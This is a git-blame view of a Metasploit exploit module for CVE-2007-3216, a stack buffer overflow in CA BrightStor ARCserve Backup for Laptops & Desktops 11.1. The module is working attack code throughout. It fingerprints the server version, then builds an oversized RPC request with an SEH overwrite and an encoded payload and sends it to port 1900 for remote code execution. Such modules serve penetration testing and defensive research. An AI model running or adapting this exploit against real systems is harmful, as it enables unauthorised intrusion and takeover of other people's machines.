Files
metasploit-gs/modules/exploits/windows/brightstor/lgserver_multi.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

102 lines
2.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
2014-03-11 12:07:27 -05:00
'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
an attacker could overflow the buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-3216' ],
[ 'OSVDB', '35329' ],
[ 'BID', '24348' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2007-06-06',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options([ Opt::RPORT(1900) ])
end
2013-08-30 16:28:54 -05:00
def check
2013-08-30 16:28:54 -05:00
connect
2013-08-30 16:28:54 -05:00
sock.put("0000000019rxrGetServerVersion")
ver = sock.get_once
2013-08-30 16:28:54 -05:00
disconnect
2013-08-30 16:28:54 -05:00
2014-01-21 11:07:03 -06:00
if ( ver and ver =~ /11\.1\.742/ )
return Exploit::CheckCode::Appears
end
2013-08-30 16:28:54 -05:00
return Exploit::CheckCode::Safe
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def exploit
2013-08-30 16:28:54 -05:00
connect
2013-08-30 16:28:54 -05:00
2010-11-04 23:59:56 +00:00
rpc_commands = [
"rxsAddNewUser",
"rxsSetUserInfo",
"rxsRenameUser",
"rxsExportData",
"rxcReadSaveSetProfile",
"rxcInitSaveSetProfile",
"rxcAddSaveSetNextAppList",
"rxcAddSaveSetNextFilesPathList"
]
2013-08-30 16:28:54 -05:00
2010-11-04 23:59:56 +00:00
rpc_command = rpc_commands[rand(rpc_commands.length)]
2013-08-30 16:28:54 -05:00
data = rand_text_alpha_upper(62768)
2013-08-30 16:28:54 -05:00
data[58468,8] = generate_seh_record(target.ret)
data[58476,payload.encoded.length] = payload.encoded
2013-08-30 16:28:54 -05:00
sploit = "0000062768" # Command Length Field
sploit << rpc_command # RPC Command
sploit << "~~" # Constant Argument Delimiter
sploit << data
2013-08-30 16:28:54 -05:00
print_status("Trying target #{target.name} with command '#{rpc_command}'...")
sock.put(sploit)
2013-08-30 16:28:54 -05:00
handler
disconnect
2013-08-30 16:28:54 -05:00
end
end